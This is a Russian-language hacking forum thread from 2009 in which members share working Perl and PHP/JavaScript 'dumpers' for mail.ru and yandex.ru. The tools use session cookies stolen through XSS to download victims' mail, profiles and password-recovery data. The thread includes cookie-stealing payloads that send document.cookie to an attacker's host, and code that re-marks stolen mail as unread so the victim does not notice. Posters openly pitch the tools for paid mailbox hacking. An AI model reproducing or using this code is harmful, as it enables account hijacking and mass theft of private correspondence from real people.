Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
[new mail.ru dumper] by slider |

23.07.2009, 18:34
|
|
Members of Antichat - Level 5
Регистрация: 04.09.2005
Сообщений: 528
Провел на форуме: 6520559
Репутация:
2947
|
|
[new mail.ru dumper] by slider
Ребят ... а можно я старое описание оставлю .. а ?! =\
Ибо правда заеп... скажу только что код уменьшил в три раза, улучил функционал, исправил багесы, старая версия кстать загнулась ... вобщем прошу любить и жаловать
[N3w t00lz by mE]
Наверняка каждому из вас приходилось или приходиться иметь дело с XSS на mail.ru т.к в данный момент это самая актуальная бага на выше упомянутом сервере ....
как нам уже известно сессия не живёт вечно и желательно за небольшой промежуток времени собрать максимально большое количество информации...
Думаю именно в тут вам и поможет эта тулза... в ее задачи как раз и входить ..
- слить анкетные данные, персональную информацию, контактную информацию, данные для восстановления пароля
- слить письма с таких директорий, как:
- Входящие
- Сомнительные
- Отправленные
- Корзина
Кому сможет пригодиться этот скрипт?!
ИМХО всем .. от мала до велика....
пригодится тем у кого "напряг" со временем...
пригодится ленивым ... кому лень рыться на ящике и сливать в ручную...
пригодится незнающим .. те у кого проблема с тем что бы поменять кукисы...
пригодится тем кто делает бизнесс на хеке майл.ру ... например .. фейк не сработал ... а сессию вы получили ... не отдадите же вы заказчику окуратно записаные кукисы?!... заказчик наверняка кроме как распечатать и повешать их на стенку ничего не придумает
P.S: Если нуна .. то можно сделать версию а-ля сниффер ... будет собирать кукису и аккуратненько дамрить всё на сервере.....
PHP код:
#!/usr/bin/perl
## Сoded by [slider]
## http://forum.antichat.ru
## hello 2 my friends: brain[pillow], genom-- , cy4_, ... and .. and .. m0nzt3r - loleg :-P
use IO::Socket;
$cookies = q(ТУТ БУДЕТ КУКИСА);
print '-' x 56 . "\n [i] Coded by slider \n [i] forum.antichat.ru\n" . '-' x 56 . "\n\n";
information();create_dir();private();inbox();outbox();doubtful();trash();
sub requester{
$rqst = IO::Socket::INET->new(PeerAddr=>'win.mail.ru', PeerPort=>'80', Proto=>'tcp', Timeout=>'30') || print "Error! $!\n";
if($_[2] == 1){print $rqst "GET /cgi-bin/msglist?folder=$_[0]&page=9999999999999999 HTTP/1.0\r\nHost: win.mail.ru\r\nCookie: ".$cookies.";\r\n\r\n";
while($answer = <$rqst>){if ($answer =~ /$_[1]/){return $1}}}
if($_[2] == 2){print $rqst "GET $_[0] HTTP/1.0\r\nHost: win.mail.ru\r\nCookie: ".$cookies.";\r\n\r\n";
open (mailbox, $_[1]);while($answer = <$rqst>){print mailbox $answer;}}
if($_[2] == 3){
print $rqst "GET $_[0]$p HTTP/1.0\r\nHost: win.mail.ru\r\nCookie: ".$cookies.";\r\n\r\n";
while($answer = <$rqst>){
if ($answer =~ /td class=lettem><a href="readmsg\?id=(.*)"/){
print " [~] MID: $1 && PAGE: $p \n";
open (mailbox, ">./mailbox/$email/$_[1]/$p.$1.html");
$connect = IO::Socket::INET->new(PeerAddr=>'win.mail.ru', PeerPort=>'80', Proto=>'tcp', Timeout=>'30') || print "Error! $!\n";
print $connect "GET /cgi-bin/sentmsg?reply&id=$1 HTTP/1.0\r\nHost: win.mail.ru\r\nCookie: ".$cookies.";\r\n\r\n";
while($answer = <$connect>)
{print mailbox $answer;}}}}
}
sub create_dir{
if ( ! -e "mailbox" ){mkdir "mailbox", 0755 or die "[~] Can't create mailbox: $!\n";}
if ( ! -e "mailbox/$email" ){mkdir "mailbox/$email", 0755 or die "[~] Can't create mailbox/$email: $!\n";}
if ( ! -e "mailbox/$email/inbox" ){mkdir "mailbox/$email/inbox", 0755 or die "[~] Can't create mailbox/$email/inbox: $!\n";}
if ( ! -e "mailbox/$email/outbox" ){mkdir "mailbox/$email/outbox", 0755 or die "[~] Can't create $email/outbox: $!\n";}
if ( ! -e "mailbox/$email/doubtful" ){mkdir "mailbox/$email/doubtful", 0755 or die "[~] Can't create $email/doubtful: $!\n";}
if ( ! -e "mailbox/$email/trash" ){mkdir "mailbox/$email/trash", 0755 or die "[~] Can't create $email/trash: $!\n";}
if ( ! -e "mailbox/$email/private" ){mkdir "mailbox/$email/private", 0755 or die "[~] Can't create $email/private: $!\n";}
print "[!] Creating directory: ok\n";$o = '['.'-'x 5;
}
sub information{
$reg_last_p = '<b class=odin>· (.*) ·<\/b';
print "[!] Get information:\n\n";$o = '['.'-'x5;
$email=requester(0,'<nobr>(.*)<\/nobr><\/td><form action=logout>',1);if(!$email){$email='!!WRONG!!';die("Something wrong: e-mail\n")}
print "[- E-mail: $email\n[\n";
$ilp=requester(0,$reg_last_p,1);if(!$ilp){$ilp=1;}print $o." Inbox (last_page): $ilp\n";
$somn=requester(950,$reg_last_p,1);if(!$somn){$somn=1;}print $o." Doubtful (last_page): $somn\n";
$outbox=requester(500000,$reg_last_p,1);if(!$outbox){$outbox=1;}print $o." Outbox (last_page): $outbox\n";
$trash=requester(500002,$reg_last_p,1);if(!$trash){$trash=1;}print $o." Trash (last_page): $trash\n\n";
}
sub private{
print "[*] Getting private information: ";
requester('/cgi-bin/userinfo',">./mailbox/$email/private/userinfo_1.html",2);
requester('/cgi-bin/anketa?page=1',">./mailbox/$email/private/anketa_1.html",2);
requester('/cgi-bin/anketa?page=2',">./mailbox/$email/private/anketa_2.html",2);
requester('/cgi-bin/userinfo?mra=1',">./mailbox/$email/private/userinfo_2.html",2);
requester('/cgi-bin/start',">./mailbox/$email/private/index.html",2);
print "ok\n\n"
}
sub inbox{
print "[!] Geting: INBOX:\n\n";
for($p=1;$p<$ilp+1;$p++){
requester("/cgi-bin/msglist?folder=0&page=",'inbox',3);
print " [~] ok \n";}
}
sub outbox{
print "\n[!] Geting: OUTBOX:\n\n";
for($p=1;$p<$outbox+1;$p++){
requester("/cgi-bin/msglist?folder=500000&page=",'outbox',3);
print " [~] ok \n";}
}
sub doubtful{
print "\n[!] Geting: DOUBTFUL:\n\n";
for($p=1;$p<$somn+1;$p++){
requester("/cgi-bin/msglist?folder=950&page=",'doubtful',3);
print " [~] ok \n";}
}
sub trash{
print "\n[!] Geting: TRASH:\n\n";
for($p=1;$p<$trash+1;$p++){
requester("/cgi-bin/msglist?folder=500002&page=",'TRASH',3);
print " [~] ok \n";}
}
## Active Perl:
## http://downloads.activestate.com/ActivePerl/Windows/5.8/ActivePerl-5.8.8.820-MSWin32-x86-274739.msi
## Antichat.ru
Download here:http://webfile.ru/3794238
------------------------------------------------------------------------------------------------------
Долгожданная версия дампера под сниффер
- такс... а как юзать!?..
Да элементарно.. при юзании ксс подставляем ссылку на этот скрипт
- ещё что то!?..
ну да... подправьте положение перловы в первой строке: #!"C:\perl\bin\perl.exe" на ваш путь..
ммм... а так же установите нужные права... + убедитесь что в папке со скриптом стоят права на запись =)
Download here:http://webfile.ru/3815167
Последний раз редактировалось slider; 03.08.2009 в 16:36..
|
|
|

24.07.2009, 00:43
|
|
Участник форума
Регистрация: 07.11.2008
Сообщений: 124
Провел на форуме: 1483379
Репутация:
386
|
|
Вообще экзотика - такие вещи на перле писать =)
|
|
|

24.07.2009, 02:56
|
|
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме: 9098076
Репутация:
4303
|
|
brain[pillow] , почему это?
|
|
|

24.07.2009, 03:07
|
|
Участник форума
Регистрация: 07.11.2008
Сообщений: 124
Провел на форуме: 1483379
Репутация:
386
|
|
Ну это сугубо моё личное мнение. Такие вещи обычно на PHP или JS пишутся.
|
|
|

24.07.2009, 06:32
|
|
Познающий
Регистрация: 22.02.2006
Сообщений: 67
Провел на форуме: 4155100
Репутация:
2033
|
|
=== 30.10.2009
PHP код:
<?php
set_time_limit(600);
// если php < 5.2.0
if (!function_exists('json_decode'))
{
function json_decode($json)
{
// Author: walidator.info 2009 mod by LO (temp)
$comment = false;
$out = '$x=';
for ($i = 0; $i < strlen($json); $i++)
{
if (!$comment)
{
if ($json[$i] == '{') $out .= ' array(';
else if ($json[$i] == '}') $out .= ')';
else if ($json[$i] == '[') $out .= ' array(';
else if ($json[$i] == ']') $out .= ')';
else if ($json[$i] == ':') $out .= '=>';
else $out .= $json[$i];
}
else $out .= $json[$i];
if ($json[$i] == '"')
{
$n = 1;
while ($json[$i - $n] == '\\') $n++;
if (!($n & 1)) $comment = !$comment;
}
}
@eval($out . ' or null;');
return $x;
}
}
// определение целей, для которых запущен скрипт
if ($_REQUEST['action'] == 'sender')
js_sender();
else if($_REQUEST['action'] == 'save')
{
create_dir(rawurldecode($_REQUEST['email']));
write_message(rawurldecode($_REQUEST['message'])."\r\n\r\n", rawurldecode($_REQUEST['email']), 'registr_info.txt');
}
else select_mail();
// функция выбирает дампер в зависимости от кукисов
function select_mail()
{
$cookie = str_replace(';%20', '; ', $_SERVER['QUERY_STRING']);
if (strpos($cookie, 'Mpop') === false)
{
if (strpos($cookie, 'yandex') === false)
die();
else
yandex_ru_dump($cookie);
}
else
mail_ru_dump($cookie);
}
// главная функция дампа mail.ru
function mail_ru_dump($cookie)
{
preg_match('/:.+:(.+?):/', $cookie, $email);
create_dir($email[1]);
// чеккер: открытие и чтение файла с уже записанными идами писем; если его нет - создается.
$fcheck = fopen('./mailbox/'.$email[1].'/check.txt', 'ab') or die();
$exist = file_get_contents('./mailbox/'.$email[1].'/check.txt');
$folders = requester('pro.mail.ru', '/cgi-bin/mailbox?ajax_call=1&func_name=ajax_get_mailbox_data&data=%5B0%2C%22D%22%5D', $cookie, '/\[.*\]/');
$folders = json_decode(utf8_encode($folders[0][0]), true);
if ($folders[1] == 'Redirect') js_mail_ru_dump(); // вот тут-то может обнаружиться, что куки привязаны к клиенту: тогда запускается js-дампер
foreach ($folders[2]['fList'] as $folder)
{
$filename = ($folder['ID'] == 0 ? 'inbox' : ($folder['ID'] == 950 ? 'doubtful' : ($folder['ID'] == 500000 ? 'outbox' : ($folder['ID'] == 500002 ? 'trash' : 'custom'))));
$fp = fopen('./mailbox/'.$email[1].'/'.$filename.'.html', 'ab') or die();
// все иды в папке одним запросом
$ids = requester('pro.mail.ru', '/cgi-bin/mailbox?ajax_call=1&func_name=ajax_get_mailbox_data&data=%5B' .$folder['ID']. '%2C%22D%22%5D', $cookie, '/\[.*\]/');
$ids = json_decode(utf8_encode($ids[0][0]), true);
foreach ($ids[2]['mList'] as $id)
{
// чеккер
if (strpos($exist, $id) === false)
{
// $message[0][0] - строка JSON - из нее многое можно вытащить.
$message = requester('pro.mail.ru', '/cgi-bin/ajax_readmsg?ajax_call=1&func_name=ajax_get_msg_data&data=%5B%22' .$id. '%22%5D', $cookie, '/\[.*\]/');
$message = json_decode(utf8_encode($message[0][0]), true);
// проверка на прочитанность
if ($message[2]['FlagUnread'])
requester('pro.mail.ru','/cgi-bin/ajax_markmsg?ajax_call=1&data=%5B%5B%7B%22msgId%22%3A%22' .$id. '%22%2C%22mark%22%3A1%7D%5D%5D&func_name=ajax_mark_msg', $cookie);
// запись сообщения
fwrite($fp, utf8_decode("<b>ID: </b>" .$id. "<br/>\r\n<b>From: </b>". $message[2]['From']. "<br/>\r\n<b>To: </b>" .$message[2]['To']. "</br>\r\n<b>Date: </b>" .$message[2]['DateStr']. "<br/>\r\n<b>Subject: </b>" .$message[2]['Subject']. "<br/>\r\n<b>Attachments: </b>" .count($message[2]['Attachments']). "<br/>\r\n" .$message[2]['Body_Text_HTML']. "</b></b><br/><br/>\r\n\r\n"));
fwrite($fcheck, "$id\r\n");
}
else break;
}
fclose($fp);
}
// проверка дампа приватной информации
if (strpos($exist, 'private') === false)
{
$userinfo = requester('win.mail.ru', '/cgi-bin/userinfo?mra=1', $cookie, '/class=registr>(.*)<input type="submit"/s');
$anketa1 = requester('win.mail.ru', '/cgi-bin/anketa?page=1', $cookie, '/class=registr>(.*)<input type="submit"/s');
$anketa2 = requester('win.mail.ru', '/cgi-bin/anketa?page=2', $cookie, '/class=registr>(.*)<input type="submit"/s');
write_message('<b>USERINFO</b><br/>'.$userinfo[1][0].'<br/><b>ANKETA</b><br/>'.$anketa1[1][0].$anketa2[1][0].'<br/><b>FOLDERS</b><br/>'.$folders, $email[1], 'private.html');
write_message("private\r\n", $email[1], 'check.txt');
}
fclose($fcheck);
}
тупо соединить
PHP код:
// JS-дампер mail.ru
function js_mail_ru_dump()
{
?>
dumper = 'http://<?php echo ($_SERVER['SERVER_NAME'].$_SERVER['SCRIPT_NAME']) ?>';
mask = '%e5%e3%e8%f1%f2' + '%f0%7cignup%7cegist%7c%e0%f0%ee%eb%7c' + '%ee%e4%f2%e2%e5%f0%7c%ee%e6%e0%eb%ee%e2%7c%ea' + '%f2%e8%e2%7c%ee%e4%ef%e8%f1';
email = document.cookie.match(/:.+:(.+):/)[1];
var r, ids=[], ids_index, context = window;
document.body.innerHTML += '<iframe name=myFrame src=' + dumper + '?action=sender style=display:none><\/iframe>';
if (!window.postMessage) document.body.innerHTML += '<form id=myForm method=post action=' + dumper + ' style=display:none target=myFrame><input name=action value=save><input name=message><input name=email value=' + email + '><\/form>';
switch (location.hostname) {
case 'win.mail.ru':
case 'koi.mail.ru':
get_ids_html(1);
break;
case 'pro.mail.ru':
get_ids_ajax();
break;
default:
/* if xss on [sub].mail.ru */
try {document.domain = 'mail.ru'} catch(er){}
document.body.innerHTML += '<iframe src=http://win.mail.ru/cgi-bin/search style=display:none onload="context=this.contentWindow; get_ids_html(1)"><\/iframe>';
}
/* html-interface */
function get_ids_html(page) {
requester('http://win.mail.ru/cgi-bin/search?page=' + page + '&sortby=d&q_subj=' + mask + '&qc_subj=1&q_folder=all',
function() {
if (r.readyState == 4) {
ids_temp = r.responseText.match(/value="\d{20}/gi) || '';
for (n = 0; n < ids_temp.length; n++) ids.push(ids_temp[n].substring(7));
r.responseText.indexOf('&'+'#8250;') != -1 ? get_ids_html(++page): (ids[ids_index = 0] ? get_message(ids[ids_index]) : false);
}
}
);
}
/* ajax-interface */
function get_ids_ajax() {
requester('http://pro.mail.ru/cgi-bin/ajax_search?' + 'q_folder=all&qc_subj=1&q_subj=' + mask,
function() {
if (r.readyState == 4) {
ids = r.responseText.match(/\d{20}_msg/g) || '';
for (n = 0; n < ids.length; n++) ids[n] = ids[n].substring(0,20);
if (ids[ids_index = 0]) get_message(ids[ids_index]);
}
}
);
}
/* common */
function get_message(id) {
requester('http://' + context.location.hostname + '/cgi-bin/ajax_readmsg?ajax_call=1' + '&func_name=ajax_get_msg_data&data=%5B%22' + id + '%22%5D',
function() {
if (r.readyState == 4) {
message = r.responseText;
if (eval(message)[2].FlagUnread) requester('http://' + context.location.hostname + '/cgi-bin/ajax_markmsg?ajax_call=1' + '&data=%5B%5B%7B%22msgId%22%3A%22' + id + '%22%2C%22mark%22%3A1%7D%5D%5D' + '&func_name=ajax_mark_msg', null);
message = encodeURIComponent(message);
/* HTML 5 */
if (window.postMessage)
document.getElementsByName( 'myFrame')[0].contentWindow.postMessage( 'action=save&email=' + email + '&message=' + message, '*');
else /* HTML<5 */
document.getElementById('myForm').submit( document.getElementById( 'myForm').message.value = message);
if (ids[++ids_index]) get_message(ids[ids_index]);
}
}
);
}
/* common */
function requester(url, func) {
try {r = new context.XMLHttpRequest()} catch(err) {r = new context.ActiveXObject('Msxml2.XMLHTTP')}
r.open('GET', url);
r.onreadystatechange = func;
r.send(null);
}
<?php
die();
}
// функция выводит слушатеть кроссдоменных сообщений, которые далее пересылаются на дампер обычным xmlhttp
function js_sender()
{
?>
<html>
<body>
<script>
if (window.addEventListener) {
window.addEventListener('message', listener, false);
} else {
window.attachEvent('onmessage', listener);
}
function listener(event) {
with (new XMLHttpRequest())
open('POST', 'http://<?php echo ($_SERVER['SERVER_NAME'].$_SERVER['SCRIPT_NAME']) ?>'),
setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'),
send(event.data);
}
</script>
</body>
</html>
<?php
die();
}
// аналогично: главная функция дампа yandex.ru
function yandex_ru_dump($cookie)
{
$passport_and_email = requester('passport.yandex.ru', '/passport?mode=passport', $cookie, '/l-page-c">(.*b-redletter">(.*?)<.*passform3-l">)/si');
$index = requester('mail.yandex.ru', '/m/folders', $cookie);
create_dir($passport_and_email[2][0].'@yandex.ru');
$fcheck = fopen('./mailbox/'.$passport_and_email[2][0].'@yandex.ru/check.txt', 'ab') or die();
$exist = file_get_contents('./mailbox/'.$passport_and_email[2][0].'@yandex.ru/check.txt');
if (strpos($exist, 'private') === false)
{
write_message('<b>USERINFO</b><br/>'.$passport_and_email[1][0].'<b>FOLDERS</b><br/>'.$index, $passport_and_email[2][0].'@yandex.ru', 'private.html');
write_message("private\r\n", $passport_and_email[2][0].'@yandex.ru', 'check.txt');
}
preg_match_all('/folder=(.*?)"/', $index, $folders);
// если папок не будет найдено, то куки недействительны
if ($folders[1][0] == '') die();
for ($n = 0; $n < count($folders[1]); $n++)
{
$filename = ($n == 0 ? 'inbox' : ($n == 1 ? 'outbox' : ($n == 2 ? 'trash' : ($n == 3 ? 'spam' : ($n == 4 ? 'draft' : 'custom')))));
$fp = fopen('./mailbox/'.$passport_and_email[2][0].'@yandex.ru/'.$filename.'.html', 'ab') or die();
$page = 0;
do {
$messagelist = requester('mail.yandex.ru', '/m/messages?current_folder=' .$folders[1][$n]. '&page_number='.++$page, $cookie);
preg_match_all('/ids=(.*?)">.*?<\/a><\/(.)/', $messagelist, $ids_and_mark);
if ($ids_and_mark[1][0] == '') break;
for ($m = 0; $m < count($ids_and_mark[1]); $m++)
{
if (strpos($exist, $ids_and_mark[1][$m]) === false)
{
$answer = requester('mail.yandex.ru', '/m/message?current_folder=' .$folders[1][$n]. '&ids=' .$ids_and_mark[1][$m], $cookie, '/(<div class="c".*)<div class="op"/s');
$message = "\r\n<br/><b>ID: ".$ids_and_mark[1][$m]."</b><br/>\r\n".$answer[1][0];
// если условие выполняется, то письмо непрочитано.
if ($ids_and_mark[2][$m] == 'b')
requester('mail.yandex.ru', '/neo/ajax/action_message_operate?' + 'oper=mark_not_read¤t_folder=' .$folders[1][$n]. '&ids=' .$ids_and_mark[1][$m], $cookie);
fwrite($fp, $message);
fwrite($fcheck, $ids_and_mark[1][$m]."\r\n");
}
}
} while(preg_match('/btn-r/', $messagelist) > 0);
fclose($fp);
}
fclose($fcheck);
}
// универсальная функция запроса-ответа: помимо всего принимает необязательный параметр - регулярку для обработки ответа
function requester($host, $path, $cookie, $regexp = "")
{
$fp = fsockopen($host, 80) or die();
fputs ($fp, "GET $path HTTP/1.0\r\nHost: $host\r\nCookie: $cookie\r\n\r\n");
$answer='';
while (!feof($fp)) $answer .= fgets($fp, 4096);
fclose($fp);
if ($regexp != '') preg_match_all($regexp, $answer, $answer);
return $answer;
}
// универсальная функция записи
function write_message($message, $email, $filename)
{
$fp = fopen("./mailbox/$email/$filename", "ab") or die();
fwrite($fp, $message);
fclose($fp);
}
// универсальная функция создания директорий
function create_dir($email)
{
if (!is_dir("./mailbox")) mkdir("./mailbox", 0755) or die();
if (!is_dir("./mailbox/".$email)) mkdir("./mailbox/".$email, 0755) or die();
}
//\\ LeverOne //\\
?>
Это - дампер сообщений mail.ru и yandex.ru
Вот его особенности. - [+] Работает через мобильный (yandex.ru) и аякс (mail.ru) интерфейсы. Страницы этих интерфейсов в 10-95 раз легче, чем обычные. Для сравнения: исходник страницы сообщения обычного интерфейса win.mail.ru имеет размер прибл. 61 кБ, мобильного (для смартфонов - xhtml.wap.mail.ru) - 3 кБ, wap (wap.mail.ru) - 1,7 кБ, аякс (pro.mail.ru) - 0,63 кБ.
- [+] Собирает письма из ВСЕХ папок.
- [+] Сообщения сохраняются в файлы по именам папок, а не каждое само по себе, при этом только тот текст, который нам важен (без почтовых счетчиков, рекламы и прочей дребедени).
- При просмотре сообщений через браузер отключаем js, плагины, картинки, лучше - сеть.
- [+] Чеккер: уже скаченные сообщения не запрашиваются вновь.
- [+] Расширяемость: выделены универсальные функции, через которые могут работать дамперы для других сервисов, если они будут добавляться.
- [+] Добавлен JS-дампер для mail.ru, который спасет ситуацию, если вдруг пользователь включил дополнительную безопасность. JS-дампер собирает только регистрационную информацию, и, что очень важно, может работать с поддоменов (почти со всех). Из протестированных браузеров он не поддерживает только FF 2.x из-за баги этого браузера. Для более подробной информации обращайтесь к https://forum.antichat.ru/showthread.php?t=51622
Способ запуска:
1. Только PHP-функционал:
http://mysite.xz/dump.php?Mpop=blabla
(обратите внимание, что значение куки яндекса yandex_nickname должно быть url-кодированно, если содержит кириллические символы! некоторые снифферы полностью url-декодируют все куки, что может повлечь ошибку. правильное значение получается вызовом document.cookie либо повторным кодированием)
или
new Image().src='http://myhost.xz/dump.php?' + document.cookie;
2. Весь функционал (целесообразнее)
with (document) getElementsByTagName('head').item(0).appendChild( createElement('script')).src = 'http://myhost.xz/dump.php?' + document.cookie;
Для работы требуется сайт с поддержкой сокетов, выключенным сейфмодом и права на запись. На данный момент скрипт работоспособен в том виде, в котором он размещен, править после форума ничего не нужно.
=== 3.01.2010
Как проверить работоспособность php-части дампера на локальном хосте?
Для этого нужно использовать только такой способ запуска: http://localhost/xampp/test/dump.php?Mpop=blabla
Другие способы на локалхосте могут не работать из-за политик безопасности, принятых в некоторых браузерах (IE к ним не относится, там работают все способы).
Как проверить работоспособность javascript-части дампера на локальном хосте?
Найдите в дампере следующие строки:
PHP код:
$folders = requester('pro.mail.ru', '/cgi-bin/mailbox?ajax_call=1&func_name=ajax_get_mailbox_data&data=%5B0%2C%22D%22%5D', $cookie, '/\[.*\]/');
$folders = json_decode(utf8_encode($folders[0][0]), true);
if ($folders[1] == 'Redirect') js_mail_ru_dump();
и замените их на:
PHP код:
/* $folders = requester('pro.mail.ru', '/cgi-bin/mailbox?ajax_call=1&func_name=ajax_get_mailbox_data&data=%5B0%2C%22D%22%5D', $cookie, '/\[.*\]/');
$folders = json_decode(utf8_encode($folders[0][0]), true);
if ($folders[1] == 'Redirect') */ js_mail_ru_dump();
Потом открываете IE --> авторизуетесь в почте --> в адресной строке в контексте первой же страницы, куда вас перебросило, пишете:
javascript:with (document) getElementsByTagName('head').item(0).appendChild( createElement('script')).src = 'http://localhost/xampp/test/dump.php?' + document.cookie;void(0);
Появился файл registr_info.txt в директории mailbox/yourmail@mail.ru ?
Если да, то открываете поддомен, например, otvet.mail.ru и пишете то же самое, предварительно удалив старый registr_info.txt. Если и теперь все сработало, то и с javascript-частью все в порядке.
На текущий момент скрипт полностью работоспособен.
Последний раз редактировалось LeverOne; 20.01.2010 в 03:48..
Причина: дополнение
|
|
|

24.07.2009, 08:13
|
|
Members of Antichat - Level 5
Регистрация: 04.09.2005
Сообщений: 528
Провел на форуме: 6520559
Репутация:
2947
|
|
LeverOne я удивлён что ты не создал 3ую категорию, "замечания очень несущественного характера":
В cабе create_dir ну никак не нужно:
да и вообще имха.. так будет красивее
Касательно 1го пункта: исправил всё...
Касательно 2го пункта:
1. Перезалил на файлообменник
2. Менять не буду ... мне так больше нравится
3. Разделители лишними не бывают, убирать их не стоит
Спасибо за суровые замечания LeverOne, с утра очень подняло настроение)...
|
|
|

24.07.2009, 10:30
|
|
ветеран
Регистрация: 22.06.2004
Сообщений: 2,128
Провел на форуме: 5355463
Репутация:
2258
|
|
Сообщение от slider
да и вообще имха.. так будет красивее
Код:
$o = '['.'-'x 5
да ну, кто тебе это сказал 
__________________
Моня тот еще зверюга,
Свиду тихий внутри - ****,
Без обид,реальный мэн,
Просто рифмы нет совсем.
С ним шутить *****то очень,
В ирце вместе с ним хохочем (c) m0Hze
|
|
|

24.07.2009, 13:52
|
|
Members of Antichat - Level 5
Регистрация: 15.06.2008
Сообщений: 941
Провел на форуме: 5111568
Репутация:
2399
|
|
эм.. есть предложение сделать "универсальный" дампер )
прикрутить яху, гмейл, яндекс.почту, etc
как смотришь на ето? )
|
|
|

27.07.2009, 13:30
|
|
Members of Antichat - Level 5
Регистрация: 04.09.2005
Сообщений: 528
Провел на форуме: 6520559
Репутация:
2947
|
|
Если будет актуально .. то почему бы и нет .. разом дампить ящики всех знаменитых сервисов ... заразить саент фреймами ... с ксс в знаменитых почтовиках и жрать результатов.. только нужно будет многое переписывать... нгадо будет отладить механизм..
Так же сделать чекер какой то .. что бы повторно ту же почту не сливать ...
|
|
|

02.08.2009, 01:03
|
|
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме: 9098076
Репутация:
4303
|
|
Такие вещи обычно на PHP или JS пишутся.
на JS? =\
По моему перл более удобен при решении таких задач чем пшп
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|